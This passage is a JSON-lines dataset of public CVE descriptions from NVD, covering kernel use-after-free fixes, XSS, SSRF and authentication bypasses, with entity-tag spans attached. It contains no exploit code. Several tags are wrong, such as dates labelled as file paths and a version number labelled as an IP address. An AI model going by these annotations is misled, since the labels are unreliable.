{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nASoC: mediatek: mt8186: Fix use-after-free in driver remove path\n\nWhen devm runs function in the \"remove\" path for a device it runs them\nin the reverse order. That means that if you have parts of your driver\nthat aren't using devm or are using \"roll your own\" devm w/\ndevm_add_action_or_reset() you need to keep that in mind.\n\nThe mt8186 audio driver didn't quite get this right. Specifically, in\nmt8186_init_clock() it called mt8186_audsys_clk_register() and then\nwent on to call a bunch of other devm function. The caller of\nmt8186_init_clock() used devm_add_action_or_reset() to call\nmt8186_deinit_clock() but, because of the intervening devm functions,\nthe order was wrong.\n\nSpecifically at probe time, the order was:\n1. mt8186_audsys_clk_register()\n2. afe_priv->clk = devm_kcalloc(...)\n3. afe_priv->clk[i] = devm_clk_get(...)\n\nAt remove time, the order (which should have been 3, 2, 1) was:\n1. mt8186_audsys_clk_unregister()\n3. Free all of afe_priv->clk[i]\n2. Free afe_priv->clk\n\nThe above seemed to be causing a use-after-free. Luckily, it's easy to\nfix this by simply using devm more correctly. Let's move the\ndevm_add_action_or_reset() to the right place. In addition to fixing\nthe use-after-free, code inspection shows that this fixes a leak\n(missing call to mt8186_audsys_clk_unregister()) that would have\nhappened if any of the syscon_regmap_lookup_by_phandle() calls in\nmt8186_init_clock() had failed.", "spans": {"SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: use-after-free": [[97, 111], [1087, 1101], [1259, 1273]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-53854"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\ntracing: Fix memory leak in test_gen_synth_cmd() and test_empty_synth_event()\n\ntest_gen_synth_cmd() only free buf in fail path, hence buf will leak\nwhen there is no failure. Add kfree(buf) to prevent the memleak. The\nsame reason and solution in test_empty_synth_event().\n\nunreferenced object 0xffff8881127de000 (size 2048):\n  comm \"modprobe\", pid 247, jiffies 4294972316 (age 78.756s)\n  hex dump (first 32 bytes):\n    20 67 65 6e 5f 73 79 6e 74 68 5f 74 65 73 74 20   gen_synth_test\n    20 70 69 64 5f 74 20 6e 65 78 74 5f 70 69 64 5f   pid_t next_pid_\n  backtrace:\n    [<000000004254801a>] kmalloc_trace+0x26/0x100\n    [<0000000039eb1cf5>] 0xffffffffa00083cd\n    [<000000000e8c3bc8>] 0xffffffffa00086ba\n    [<00000000c293d1ea>] do_one_initcall+0xdb/0x480\n    [<00000000aa189e6d>] do_init_module+0x1cf/0x680\n    [<00000000d513222b>] load_module+0x6a50/0x70a0\n    [<000000001fd4d529>] __do_sys_finit_module+0x12f/0x1c0\n    [<00000000b36c4c0f>] do_syscall_64+0x3f/0x90\n    [<00000000bbf20cf3>] entry_SYSCALL_64_after_hwframe+0x63/0xcd\nunreferenced object 0xffff8881127df000 (size 2048):\n  comm \"modprobe\", pid 247, jiffies 4294972324 (age 78.728s)\n  hex dump (first 32 bytes):\n    20 65 6d 70 74 79 5f 73 79 6e 74 68 5f 74 65 73   empty_synth_tes\n    74 20 20 70 69 64 5f 74 20 6e 65 78 74 5f 70 69  t  pid_t next_pi\n  backtrace:\n    [<000000004254801a>] kmalloc_trace+0x26/0x100\n    [<00000000d4db9a3d>] 0xffffffffa0008071\n    [<00000000c31354a5>] 0xffffffffa00086ce\n    [<00000000c293d1ea>] do_one_initcall+0xdb/0x480\n    [<00000000aa189e6d>] do_init_module+0x1cf/0x680\n    [<00000000d513222b>] load_module+0x6a50/0x70a0\n    [<000000001fd4d529>] __do_sys_finit_module+0x12f/0x1c0\n    [<00000000b36c4c0f>] do_syscall_64+0x3f/0x90\n    [<00000000bbf20cf3>] entry_SYSCALL_64_after_hwframe+0x63/0xcd", "spans": {"SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: memory leak": [[82, 93]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-49800"}}
{"text": "Multiple cross-site scripting (XSS) vulnerabilities in Uncanny Groups for LearnDash before v3.7 allow authenticated remote attackers to inject arbitrary JavaScript or HTML via the ulgm_code_redeem POST Parameter in user-code-redemption.php, the ulgm_user_first POST Parameter in user-registration-form.php, the ulgm_user_last POST Parameter in user-registration-form.php, the ulgm_user_email POST Parameter in user-registration-form.php, the ulgm_code_registration POST Parameter in user-registration-form.php, the ulgm_terms_conditions POST Parameter in user-registration-form.php, the _ulgm_total_seats POST Parameter in frontend-uo_groups_buy_courses.php, the uncanny_group_signup_user_first POST Parameter in group-registration-form.php, the uncanny_group_signup_user_last POST Parameter in group-registration-form.php, the uncanny_group_signup_user_login POST Parameter in group-registration-form.php, the uncanny_group_signup_user_email POST Parameter in group-registration-form.php, the success-invited GET Parameter in frontend-uo_groups.php, the bulk-errors GET Parameter in frontend-uo_groups.php, or the message GET Parameter in frontend-uo_groups.php.", "spans": {"FILEPATH: redemption.php": [[225, 239]], "FILEPATH: form.php": [[297, 305], [362, 370], [428, 436], [501, 509], [573, 581], [732, 740], [814, 822], [897, 905], [980, 988]], "FILEPATH: uo_groups_buy_courses.php": [[632, 657]], "FILEPATH: uo_groups.php": [[1036, 1049], [1093, 1106], [1149, 1162]], "VULNERABILITY: cross-site scripting": [[9, 29]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-35650"}}
{"text": "Firecrawl is a web scraper that allows users to extract the content of a webpage for a large language model. Versions prior to 1.1.1 contain a server-side request forgery (SSRF) vulnerability. The scraping engine could be exploited by crafting a malicious site that redirects to a local IP address. This allowed exfiltration of local network resources through the API. The cloud service was patched on December 27th, 2024, and the maintainers have checked that no user data was exposed by this vulnerability. Scraping engines used in the open sourced version of Firecrawl were patched on December 29th, 2024, except for the playwright services which the maintainers have determined to be un-patchable. All users of open-source software (OSS) Firecrawl should upgrade to v1.1.1. As a workaround, OSS Firecrawl users should supply the playwright services with a secure proxy. A proxy can be specified through the `PROXY_SERVER` env in the environment variables. Please refer to the documentation for instructions. Ensure that the proxy server one is using is setup to block all traffic going to link-local IP addresses.", "spans": {"VULNERABILITY: server-side request forgery": [[143, 170]], "VULNERABILITY: SSRF": [[172, 176]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-56800"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrivers/perf: hisi: use cpuhp_state_remove_instance_nocalls() for hisi_hns3_pmu uninit process\n\nWhen tearing down a 'hisi_hns3' PMU, we mistakenly run the CPU hotplug\ncallbacks after the device has been unregistered, leading to fireworks\nwhen we try to execute empty function callbacks within the driver:\n\n  | Unable to handle kernel NULL pointer dereference at virtual address 0000000000000000\n  | CPU: 0 PID: 15 Comm: cpuhp/0 Tainted: G        W  O      5.12.0-rc4+ #1\n  | Hardware name:  , BIOS KpxxxFPGA 1P B600 V143 04/22/2021\n  | pstate: 80400009 (Nzcv daif +PAN -UAO -TCO BTYPE=--)\n  | pc : perf_pmu_migrate_context+0x98/0x38c\n  | lr : perf_pmu_migrate_context+0x94/0x38c\n  |\n  | Call trace:\n  |  perf_pmu_migrate_context+0x98/0x38c\n  |  hisi_hns3_pmu_offline_cpu+0x104/0x12c [hisi_hns3_pmu]\n\nUse cpuhp_state_remove_instance_nocalls() instead of\ncpuhp_state_remove_instance() so that the notifiers don't execute after\nthe PMU device has been unregistered.\n\n[will: Rewrote commit message]", "spans": {"FILEPATH: /22/2021": [[592, 600]], "SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: NULL pointer dereference": [[403, 427]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-52860"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/msm/gpu: Fix crash when throttling GPU immediately during boot\n\nThere is a small chance that the GPU is already hot during boot. In that\ncase, the call to of_devfreq_cooling_register() will immediately try to\napply devfreq cooling, as seen in the following crash:\n\n  Unable to handle kernel paging request at virtual address 0000000000014110\n  pc : a6xx_gpu_busy+0x1c/0x58 [msm]\n  lr : msm_devfreq_get_dev_status+0xbc/0x140 [msm]\n  Call trace:\n   a6xx_gpu_busy+0x1c/0x58 [msm] (P)\n   devfreq_simple_ondemand_func+0x3c/0x150\n   devfreq_update_target+0x44/0xd8\n   qos_max_notifier_call+0x30/0x84\n   blocking_notifier_call_chain+0x6c/0xa0\n   pm_qos_update_target+0xd0/0x110\n   freq_qos_apply+0x3c/0x74\n   apply_constraint+0x88/0x148\n   __dev_pm_qos_update_request+0x7c/0xcc\n   dev_pm_qos_update_request+0x38/0x5c\n   devfreq_cooling_set_cur_state+0x98/0xf0\n   __thermal_cdev_update+0x64/0xb4\n   thermal_cdev_update+0x4c/0x58\n   step_wise_manage+0x1f0/0x318\n   __thermal_zone_device_update+0x278/0x424\n   __thermal_cooling_device_register+0x2bc/0x308\n   thermal_of_cooling_device_register+0x10/0x1c\n   of_devfreq_cooling_register_power+0x240/0x2bc\n   of_devfreq_cooling_register+0x14/0x20\n   msm_devfreq_init+0xc4/0x1a0 [msm]\n   msm_gpu_init+0x304/0x574 [msm]\n   adreno_gpu_init+0x1c4/0x2e0 [msm]\n   a6xx_gpu_init+0x5c8/0x9c8 [msm]\n   adreno_bind+0x2a8/0x33c [msm]\n   ...\n\nAt this point we haven't initialized the GMU at all yet, so we cannot read\nthe GMU registers inside a6xx_gpu_busy(). A similar issue was fixed before\nin commit 6694482a70e9 (\"drm/msm: Avoid unclocked GMU register access in\n6xx gpu_busy\"): msm_devfreq_init() does call devfreq_suspend_device(), but\nunlike msm_devfreq_suspend(), it doesn't set the df->suspended flag\naccordingly. This means the df->suspended flag does not match the actual\ndevfreq state after initialization and msm_devfreq_get_dev_status() will\nend up accessing GMU registers, causing the crash.\n\nFix this by setting df->suspended correctly during initialization.\n\nPatchwork: https://patchwork.freedesktop.org/patch/650772/", "spans": {"URL: https://patchwork.freedesktop.org/patch/650772/": [[2084, 2131]], "FILEPATH: /msm/gpu": [[72, 80]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-38354"}}
{"text": "When a device using Juniper Network's Dynamic Host Configuration Protocol Daemon (JDHCPD) process on Junos OS or Junos OS Evolved which is configured in relay mode it vulnerable to an attacker sending crafted IPv4 packets who may remotely take over the code execution of the JDHDCP process. This issue affect IPv4 JDHCPD services. This issue affects: Juniper Networks Junos OS: 15.1 versions prior to 15.1R7-S6; 15.1X49 versions prior to 15.1X49-D200; 15.1X53 versions prior to 15.1X53-D592; 16.1 versions prior to 16.1R7-S6; 16.2 versions prior to 16.2R2-S11; 17.1 versions prior to 17.1R2-S11, 17.1R3-S1; 17.2 versions prior to 17.2R2-S8, 17.2R3-S3; 17.3 versions prior to 17.3R3-S6; 17.4 versions prior to 17.4R2-S7, 17.4R3; 18.1 versions prior to 18.1R3-S8; 18.2 versions prior to 18.2R3-S2; 18.2X75 versions prior to 18.2X75-D60; 18.3 versions prior to 18.3R1-S6, 18.3R2-S2, 18.3R3; 18.4 versions prior to 18.4R1-S5, 18.4R2-S3, 18.4R3; 19.1 versions prior to 19.1R1-S3, 19.1R2; 19.2 versions prior to 19.2R1-S3, 19.2R2*. and All versions prior to 19.3R1 on Junos OS Evolved. This issue do not affect versions of Junos OS prior to 15.1, or JDHCPD operating as a local server in non-relay mode.", "spans": {"ORGANIZATION: Juniper": [[20, 27], [351, 358]], "VULNERABILITY: code execution": [[253, 267]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-1602"}}
{"text": "The public API function BIO_new_NDEF is a helper function used for streaming\nASN.1 data via a BIO. It is primarily used internally to OpenSSL to support the\nSMIME, CMS and PKCS7 streaming capabilities, but may also be called directly by\nend user applications.\n\nThe function receives a BIO from the caller, prepends a new BIO_f_asn1 filter\nBIO onto the front of it to form a BIO chain, and then returns the new head of\nthe BIO chain to the caller. Under certain conditions, for example if a CMS\nrecipient public key is invalid, the new filter BIO is freed and the function\nreturns a NULL result indicating a failure. However, in this case, the BIO chain\nis not properly cleaned up and the BIO passed by the caller still retains\ninternal pointers to the previously freed filter BIO. If the caller then goes on\nto call BIO_pop() on the BIO then a use-after-free will occur. This will most\nlikely result in a crash.\n\n\n\nThis scenario occurs directly in the internal function B64_write_ASN1() which\nmay cause BIO_new_NDEF() to be called and will subsequently call BIO_pop() on\nthe BIO. This internal function is in turn called by the public API functions\nPEM_write_bio_ASN1_stream, PEM_write_bio_CMS_stream, PEM_write_bio_PKCS7_stream,\nSMIME_write_ASN1, SMIME_write_CMS and SMIME_write_PKCS7.\n\nOther public API functions that may be impacted by this include\ni2d_ASN1_bio_stream, BIO_new_CMS, BIO_new_PKCS7, i2d_CMS_bio_stream and\ni2d_PKCS7_bio_stream.\n\nThe OpenSSL cms and smime command line applications are similarly affected.", "spans": {"SYSTEM: OpenSSL": [[134, 141], [1451, 1458]], "VULNERABILITY: use-after-free": [[844, 858]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-0215"}}
{"text": "TensorFlow is an end-to-end open source platform for machine learning. The reference implementation of the `GatherNd` TFLite operator is vulnerable to a division by zero error(https://github.com/tensorflow/tensorflow/blob/0d45ea1ca641b21b73bcf9c00e0179cda284e7e7/tensorflow/lite/kernels/internal/reference/reference_ops.h#L966). An attacker can craft a model such that `params` input would be an empty tensor. In turn, `params_shape.Dims(.)` would be zero, in at least one dimension. The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.", "spans": {"URL: https://github.com/tensorflow/tensorflow/blob/0d45ea1ca641b21b73bcf9c00e0179cda284e7e7/tensorflow/lite/kernels/internal/reference/reference_ops.h#L966": [[176, 326]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-29589"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nHID: amd_sfh: free driver_data after destroying hid device\n\nHID driver callbacks aren't called anymore once hid_destroy_device() has\nbeen called. Hence, hid driver_data should be freed only after the\nhid_destroy_device() function returned as driver_data is used in several\ncallbacks.\n\nI observed a crash with kernel 6.10.0 on my T14s Gen 3, after enabling\nKASAN to debug memory allocation, I got this output:\n\n  [   13.050438] ==================================================================\n  [   13.054060] BUG: KASAN: slab-use-after-free in amd_sfh_get_report+0x3ec/0x530 [amd_sfh]\n  [   13.054809] psmouse serio1: trackpoint: Synaptics TrackPoint firmware: 0x02, buttons: 3/3\n  [   13.056432] Read of size 8 at addr ffff88813152f408 by task (udev-worker)/479\n\n  [   13.060970] CPU: 5 PID: 479 Comm: (udev-worker) Not tainted 6.10.0-arch1-2 #1 893bb55d7f0073f25c46adbb49eb3785fefd74b0\n  [   13.063978] Hardware name: LENOVO 21CQCTO1WW/21CQCTO1WW, BIOS R22ET70W (1.40 ) 03/21/2024\n  [   13.067860] Call Trace:\n  [   13.069383] input: TPPS/2 Synaptics TrackPoint as /devices/platform/i8042/serio1/input/input8\n  [   13.071486]  <TASK>\n  [   13.071492]  dump_stack_lvl+0x5d/0x80\n  [   13.074870] snd_hda_intel 0000:33:00.6: enabling device (0000 -> 0002)\n  [   13.078296]  ? amd_sfh_get_report+0x3ec/0x530 [amd_sfh 05f43221435b5205f734cd9da29399130f398a38]\n  [   13.082199]  print_report+0x174/0x505\n  [   13.085776]  ? __pfx__raw_spin_lock_irqsave+0x10/0x10\n  [   13.089367]  ? srso_alias_return_thunk+0x5/0xfbef5\n  [   13.093255]  ? amd_sfh_get_report+0x3ec/0x530 [amd_sfh 05f43221435b5205f734cd9da29399130f398a38]\n  [   13.097464]  kasan_report+0xc8/0x150\n  [   13.101461]  ? amd_sfh_get_report+0x3ec/0x530 [amd_sfh 05f43221435b5205f734cd9da29399130f398a38]\n  [   13.105802]  amd_sfh_get_report+0x3ec/0x530 [amd_sfh 05f43221435b5205f734cd9da29399130f398a38]\n  [   13.110303]  amdtp_hid_request+0xb8/0x110 [amd_sfh 05f43221435b5205f734cd9da29399130f398a38]\n  [   13.114879]  ? srso_alias_return_thunk+0x5/0xfbef5\n  [   13.119450]  sensor_hub_get_feature+0x1d3/0x540 [hid_sensor_hub 3f13be3016ff415bea03008d45d99da837ee3082]\n  [   13.124097]  hid_sensor_parse_common_attributes+0x4d0/0xad0 [hid_sensor_iio_common c3a5cbe93969c28b122609768bbe23efe52eb8f5]\n  [   13.127404]  ? srso_alias_return_thunk+0x5/0xfbef5\n  [   13.131925]  ? __pfx_hid_sensor_parse_common_attributes+0x10/0x10 [hid_sensor_iio_common c3a5cbe93969c28b122609768bbe23efe52eb8f5]\n  [   13.136455]  ? _raw_spin_lock_irqsave+0x96/0xf0\n  [   13.140197]  ? __pfx__raw_spin_lock_irqsave+0x10/0x10\n  [   13.143602]  ? devm_iio_device_alloc+0x34/0x50 [industrialio 3d261d5e5765625d2b052be40e526d62b1d2123b]\n  [   13.147234]  ? srso_alias_return_thunk+0x5/0xfbef5\n  [   13.150446]  ? __devm_add_action+0x167/0x1d0\n  [   13.155061]  hid_gyro_3d_probe+0x120/0x7f0 [hid_sensor_gyro_3d 63da36a143b775846ab2dbb86c343b401b5e3172]\n  [   13.158581]  ? srso_alias_return_thunk+0x5/0xfbef5\n  [   13.161814]  platform_probe+0xa2/0x150\n  [   13.165029]  really_probe+0x1e3/0x8a0\n  [   13.168243]  __driver_probe_device+0x18c/0x370\n  [   13.171500]  driver_probe_device+0x4a/0x120\n  [   13.175000]  __driver_attach+0x190/0x4a0\n  [   13.178521]  ? __pfx___driver_attach+0x10/0x10\n  [   13.181771]  bus_for_each_dev+0x106/0x180\n  [   13.185033]  ? __pfx__raw_spin_lock+0x10/0x10\n  [   13.188229]  ? __pfx_bus_for_each_dev+0x10/0x10\n  [   13.191446]  ? srso_alias_return_thunk+0x5/0xfbef5\n  [   13.194382]  bus_add_driver+0x29e/0x4d0\n  [   13.197328]  driver_register+0x1a5/0x360\n  [   13.200283]  ? __pfx_hid_gyro_3d_platform_driver_init+0x10/0x10 [hid_sensor_gyro_3d 63da36a143b775846ab2dbb86c343b401b5e3172]\n  [   13.203362]  do_one_initcall+0xa7/0x380\n  [   13.206432]  ? __pfx_do_one_initcall+0x10/0x10\n  [   13.210175]  ? srso_alias_return_thunk+0x5/0xfbef5\n  [   13.213211]  ? kasan_unpoison+0x44/0x70\n  [   13.216688]  do_init_module+0x238/0x750\n  [   13.2196\n---truncated---", "spans": {"HASH: 893bb55d7f0073f25c46adbb49eb3785fefd74b0": [[918, 958]], "HASH: 05f43221435b5205f734cd9da29399130f398a38": [[1386, 1426], [1646, 1686], [1790, 1830], [1890, 1930], [1988, 2028]], "HASH: 3f13be3016ff415bea03008d45d99da837ee3082": [[2155, 2195]], "HASH: c3a5cbe93969c28b122609768bbe23efe52eb8f5": [[2285, 2325], [2477, 2517]], "HASH: 3d261d5e5765625d2b052be40e526d62b1d2123b": [[2697, 2737]], "HASH: 63da36a143b775846ab2dbb86c343b401b5e3172": [[2913, 2953], [3684, 3724]], "FILEPATH: /21/2024": [[1045, 1053]], "FILEPATH: /devices/platform/i8042/serio1/input/input8": [[1138, 1181]], "SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: use-after-free": [[597, 611]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-46746"}}
{"text": "This vulnerability allows remote attackers to disclose sensitive information on affected installations of Foxit Studio Photo 3.6.6.922. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file. The specific flaw exists within the handling of CMP files. The issue results from the lack of proper validation of user-supplied data, which can result in a read past the end of an allocated structure. An attacker can leverage this in conjunction with other vulnerabilities to execute code in the context of the current process. Was ZDI-CAN-11337.", "spans": {"IP_ADDRESS: 3.6.6.922": [[125, 134]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-17429"}}
{"text": "Authentication bypass vulnerability in multiple Buffalo network devices allows a network-adjacent attacker to bypass authentication and access the device. The affected products/versions are as follows: WCR-300 firmware Ver. 1.87 and earlier, WHR-HP-G300N firmware Ver. 2.00 and earlier, WHR-HP-GN firmware Ver. 1.87 and earlier, WPL-05G300 firmware Ver. 1.88 and earlier, WRM-D2133HP firmware Ver. 2.85 and earlier, WRM-D2133HS firmware Ver. 2.96 and earlier, WTR-M2133HP firmware Ver. 2.85 and earlier, WTR-M2133HS firmware Ver. 2.96 and earlier, WXR-1900DHP firmware Ver. 2.50 and earlier, WXR-1900DHP2 firmware Ver. 2.59 and earlier, WXR-1900DHP3 firmware Ver. 2.63 and earlier, WXR-5950AX12 firmware Ver. 3.40 and earlier, WXR-6000AX12B firmware Ver. 3.40 and earlier, WXR-6000AX12S firmware Ver. 3.40 and earlier, WZR-300HP firmware Ver. 2.00 and earlier, WZR-450HP firmware Ver. 2.00 and earlier, WZR-600DHP firmware Ver. 2.00 and earlier, WZR-900DHP firmware Ver. 1.15 and earlier, WZR-1750DHP2 firmware Ver. 2.31 and earlier, WZR-HP-AG300H firmware Ver. 1.76 and earlier, WZR-HP-G302H firmware Ver. 1.86 and earlier, WEM-1266 firmware Ver. 2.85 and earlier, WEM-1266WP firmware Ver. 2.85 and earlier, WLAE-AG300N firmware Ver. 1.86 and earlier, FS-600DHP firmware Ver. 3.40 and earlier, FS-G300N firmware Ver. 3.14 and earlier, FS-HP-G300N firmware Ver. 3.33 and earlier, FS-R600DHP firmware Ver. 3.40 and earlier, BHR-4GRV firmware Ver. 2.00 and earlier, DWR-HP-G300NH firmware Ver. 1.84 and earlier, DWR-PG firmware Ver. 1.83 and earlier, HW-450HP-ZWE firmware Ver. 2.00 and earlier, WER-A54G54 firmware Ver. 1.43 and earlier, WER-AG54 firmware Ver. 1.43 and earlier, WER-AM54G54 firmware Ver. 1.43 and earlier, WER-AMG54 firmware Ver. 1.43 and earlier, WHR-300 firmware Ver. 2.00 and earlier, WHR-300HP firmware Ver. 2.00 and earlier, WHR-AM54G54 firmware Ver. 1.43 and earlier, WHR-AMG54 firmware Ver. 1.43 and earlier, WHR-AMPG firmware Ver. 1.52 and earlier, WHR-G firmware Ver. 1.49 and earlier, WHR-G300N firmware Ver. 1.65 and earlier, WHR-G301N firmware Ver. 1.87 and earlier, WHR-G54S firmware Ver. 1.43 and earlier, WHR-G54S-NI firmware Ver. 1.24 and earlier, WHR-HP-AMPG firmware Ver. 1.43 and earlier, WHR-HP-G firmware Ver. 1.49 and earlier, WHR-HP-G54 firmware Ver. 1.43 and earlier, WLI-H4-D600 firmware Ver. 1.88 and earlier, WS024BF firmware Ver. 1.60 and earlier, WS024BF-NW firmware Ver. 1.60 and earlier, WXR-1750DHP firmware Ver. 2.60 and earlier, WXR-1750DHP2 firmware Ver. 2.60 and earlier, WZR-1166DHP firmware Ver. 2.18 and earlier, WZR-1166DHP2 firmware Ver. 2.18 and earlier, WZR-1750DHP firmware Ver. 2.30 and earlier, WZR2-G300N firmware Ver. 1.55 and earlier, WZR-450HP-CWT firmware Ver. 2.00 and earlier, WZR-450HP-UB firmware Ver. 2.00 and earlier, WZR-600DHP2 firmware Ver. 1.15 and earlier, WZR-600DHP3 firmware Ver. 2.19 and earlier, WZR-900DHP2 firmware Ver. 2.19 and earlier, WZR-AGL300NH firmware Ver. 1.55 and earlier, WZR-AMPG144NH firmware Ver. 1.49 and earlier, WZR-AMPG300NH firmware Ver. 1.51 and earlier, WZR-D1100H firmware Ver. 2.00 and earlier, WZR-G144N firmware Ver. 1.48 and earlier, WZR-G144NH firmware Ver. 1.48 and earlier, WZR-HP-G300NH firmware Ver. 1.84 and earlier, WZR-HP-G301NH firmware Ver. 1.84 and earlier, WZR-HP-G450H firmware Ver. 1.90 and earlier, WZR-S1750DHP firmware Ver. 2.32 and earlier, WZR-S600DHP firmware Ver. 2.19 and earlier, and WZR-S900DHP firmware Ver. 2.19 and earlier.", "spans": {"ORGANIZATION: Buffalo": [[48, 55]], "ORGANIZATION: HP": [[246, 248], [291, 293], [1038, 1040], [1084, 1086], [1339, 1341], [1468, 1470], [2184, 2186], [2228, 2230], [2269, 2271], [3192, 3194], [3238, 3240], [3284, 3286]], "VULNERABILITY: Authentication bypass": [[0, 21]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-40966"}}
{"text": "Vulnerability in the Oracle Java SE, Oracle GraalVM Enterprise Edition product of Oracle Java SE (component: JSSE).  Supported versions that are affected are Oracle Java SE: 8u361, 8u361-perf, 11.0.18, 17.0.6, 20; Oracle GraalVM Enterprise Edition: 20.3.9, 21.3.5 and  22.3.1. Difficult to exploit vulnerability allows unauthenticated attacker with network access via TLS to compromise Oracle Java SE, Oracle GraalVM Enterprise Edition.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Java SE, Oracle GraalVM Enterprise Edition accessible data as well as  unauthorized access to critical data or complete access to all Oracle Java SE, Oracle GraalVM Enterprise Edition accessible data. Note: This vulnerability applies to Java deployments, typically in clients running sandboxed Java Web Start applications or sandboxed Java applets, that load and run untrusted code (e.g., code that comes from the internet) and rely on the Java sandbox for security. This vulnerability can also be exploited by using APIs in the specified Component, e.g., through a web service which supplies data to the APIs. CVSS 3.1 Base Score 7.4 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N).", "spans": {"SYSTEM: Java": [[28, 32], [89, 93], [165, 169], [393, 397], [580, 584], [721, 725], [817, 821], [874, 878], [915, 919], [1020, 1024]], "ORGANIZATION: Oracle": [[21, 27], [37, 43], [82, 88], [158, 164], [214, 220], [386, 392], [402, 408], [573, 579], [589, 595], [714, 720], [730, 736]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-21930"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nRevert \"libfs: fix infinite directory reads for offset dir\"\n\nThe current directory offset allocator (based on mtree_alloc_cyclic)\nstores the next offset value to return in octx->next_offset. This\nmechanism typically returns values that increase monotonically over\ntime. Eventually, though, the newly allocated offset value wraps\nback to a low number (say, 2) which is smaller than other already-\nallocated offset values.\n\nYu Kuai <yukuai3@huawei.com> reports that, after commit 64a7ce76fb90\n(\"libfs: fix infinite directory reads for offset dir\"), if a\ndirectory's offset allocator wraps, existing entries are no longer\nvisible via readdir/getdents because offset_readdir() stops listing\nentries once an entry's offset is larger than octx->next_offset.\nThese entries vanish persistently -- they can be looked up, but will\nnever again appear in readdir(3) output.\n\nThe reason for this is that the commit treats directory offsets as\nmonotonically increasing integer values rather than opaque cookies,\nand introduces this comparison:\n\n\tif (dentry2offset(dentry) >= last_index) {\n\nOn 64-bit platforms, the directory offset value upper bound is\n2^63 - 1. Directory offsets will monotonically increase for millions\nof years without wrapping.\n\nOn 32-bit platforms, however, LONG_MAX is 2^31 - 1. The allocator\ncan wrap after only a few weeks (at worst).\n\nRevert commit 64a7ce76fb90 (\"libfs: fix infinite directory reads for\noffset dir\") to prepare for a fix that can work properly on 32-bit\nsystems and might apply to recent LTS kernels where shmem employs\nthe simple_offset mechanism.", "spans": {"DOMAIN: huawei.com": [[508, 518]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-57952"}}
{"text": "A vulnerability in the packaging of Cisco Adaptive Security Device Manager (ASDM) images and the validation of those images by Cisco Adaptive Security Appliance (ASA) Software could allow an authenticated, remote attacker with administrative privileges to upload an ASDM image that contains malicious code to a device that is running Cisco ASA Software. This vulnerability is due to insufficient validation of the authenticity of an ASDM image during its installation on a device that is running Cisco ASA Software. An attacker could exploit this vulnerability by installing a crafted ASDM image on the device that is running Cisco ASA Software and then waiting for a targeted user to access that device using ASDM. A successful exploit could allow the attacker to execute arbitrary code on the machine of the targeted user with the privileges of that user on that machine. Notes: To successfully exploit this vulnerability, the attacker must have administrative privileges on the device that is running Cisco ASA Software. Potential targets are limited to users who manage the same device that is running Cisco ASA Software using ASDM. Cisco has released and will release software updates that address this vulnerability.", "spans": {"SYSTEM: Cisco ASA": [[334, 343], [496, 505], [626, 635], [1004, 1013], [1106, 1115]], "ORGANIZATION: Cisco": [[36, 41], [127, 132], [1137, 1142]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-20829"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nf2fs: fix to do sanity check on F2FS_INLINE_DATA flag in inode during GC\n\nsyzbot reports a f2fs bug as below:\n\n------------[ cut here ]------------\nkernel BUG at fs/f2fs/inline.c:258!\nCPU: 1 PID: 34 Comm: kworker/u8:2 Not tainted 6.9.0-rc6-syzkaller-00012-g9e4bc4bcae01 #0\nRIP: 0010:f2fs_write_inline_data+0x781/0x790 fs/f2fs/inline.c:258\nCall Trace:\n f2fs_write_single_data_page+0xb65/0x1d60 fs/f2fs/data.c:2834\n f2fs_write_cache_pages fs/f2fs/data.c:3133 [inline]\n __f2fs_write_data_pages fs/f2fs/data.c:3288 [inline]\n f2fs_write_data_pages+0x1efe/0x3a90 fs/f2fs/data.c:3315\n do_writepages+0x35b/0x870 mm/page-writeback.c:2612\n __writeback_single_inode+0x165/0x10b0 fs/fs-writeback.c:1650\n writeback_sb_inodes+0x905/0x1260 fs/fs-writeback.c:1941\n wb_writeback+0x457/0xce0 fs/fs-writeback.c:2117\n wb_do_writeback fs/fs-writeback.c:2264 [inline]\n wb_workfn+0x410/0x1090 fs/fs-writeback.c:2304\n process_one_work kernel/workqueue.c:3254 [inline]\n process_scheduled_works+0xa12/0x17c0 kernel/workqueue.c:3335\n worker_thread+0x86d/0xd70 kernel/workqueue.c:3416\n kthread+0x2f2/0x390 kernel/kthread.c:388\n ret_from_fork+0x4d/0x80 arch/x86/kernel/process.c:147\n ret_from_fork_asm+0x1a/0x30 arch/x86/entry/entry_64.S:244\n\nThe root cause is: inline_data inode can be fuzzed, so that there may\nbe valid blkaddr in its direct node, once f2fs triggers background GC\nto migrate the block, it will hit f2fs_bug_on() during dirty page\nwriteback.\n\nLet's 